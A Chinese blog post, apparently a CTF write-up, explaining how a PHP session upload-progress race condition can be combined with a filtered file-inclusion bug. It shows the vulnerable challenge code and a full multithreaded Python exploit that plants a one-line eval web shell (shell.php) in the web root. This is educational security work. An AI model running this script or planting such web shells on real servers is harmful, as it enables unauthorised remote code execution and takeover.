session条件竞争

一些前提知识点:
什么是session
session是会话的意思,Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。

利用条件
环境中有文件包含漏洞,但是没有可以利用的文件时

session会话在服务器中存储的方式
PHP将session以文件的形式存储服务器的文件中,session.save_path来控制
存储的默认路径如下:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

但是我遇到的一般都是/tmp/sess_PHPSESSID

同时也要具备一些配置条件的开启

session.upload_progress.enabled = on:该参数设置为On时,才会进行文件上传进度的记录。
session.upload_progress.cleanup = on:该参数开启时,会在文件上传结束时对用户session内容进行自动清除。
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS": 该参数与prefix作为我们的键名。方便我们的shell编写,可控。
session.upload_progress.prefix = "upload_progress_":该参数表示与name一起构成我们的键名。

接下来利用一个ctf题来展现一下session条件竞争叭
(懒得搭环境了捏)

<?php 
if(isset($_GET['file'])){ 
    $file = $_GET['file']; 
    $file = str_replace("php", "???", $file); 
    $file = str_replace("data", "???", $file); 
    $file = str_replace(":", "???", $file); 
    $file = str_replace(".", "???", $file); 
    include($file); 
}else{ 
    highlight_file(__FILE__); 
}

很明显这道题的考点是文件包含漏洞,然而过滤了php、data、冒号与点
在网站目录文件未知、php与data也被过滤的情况下是不方便进行普通的文件包含的,因此我们可以尝试进行session文件包含
其实上面说的session条件竞争与文件包含是相关联的,本质上就是通过上传一个文件来产生一个session文件,再在session文件被服务器删除之前进行条件竞争来包含这个session文件,从而植入木马。
下面是session条件竞争的python脚本:

import io
import requests
import threading

url = 'https://226ff30f-525a-45c1-9999-7c63ed94fb44.challenge.ctf.show/'
sessionid = 'meteorkai'#为session文件名赋值

def write(session): # 写入临时文件,使session文件产生
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb  伪造一个图片文件
        session.post(url, cookies={'PHPSESSID': sessionid}, data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php file_put_contents('/var/www/html/shell.php','<?php eval($_POST[1]);?>');?>"}, files={'file': ('1.jpg', fileBytes)}, verify=False)#在session文件中写入"<?php file_put_contents('/var/www/html/shell.php','<?php eval($_POST[1]);?>');?>"命令,这个命令其实是在网站目录下写入一个一句话木马。

def read(session):
    while True:
        session.get(url+'?file=/tmp/sess_'+sessionid, verify=False) # 进行文件包含
        r = session.get(url+'shell.php', verify=False) # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')

evnet = threading.Event() # 多线程

session = requests.session()
for i in range(5):
    threading.Thread(target=write, args=(session,)).start()
for i in range(5):
    threading.Thread(target=read, args=(session,)).start()

evnet.set()

注意:如果目标是https网站,要在session.get和session.posst中加上verify=False,不加的话会因为证书原因一直报错,烦得很。运行后发现ok后说明shell.php已经写入。
然后就可以利用一句话木马来拿到flag啦!

posted @ 2024-09-15 14:20  Meteor_Kai  阅读(108)  评论(1)    收藏  举报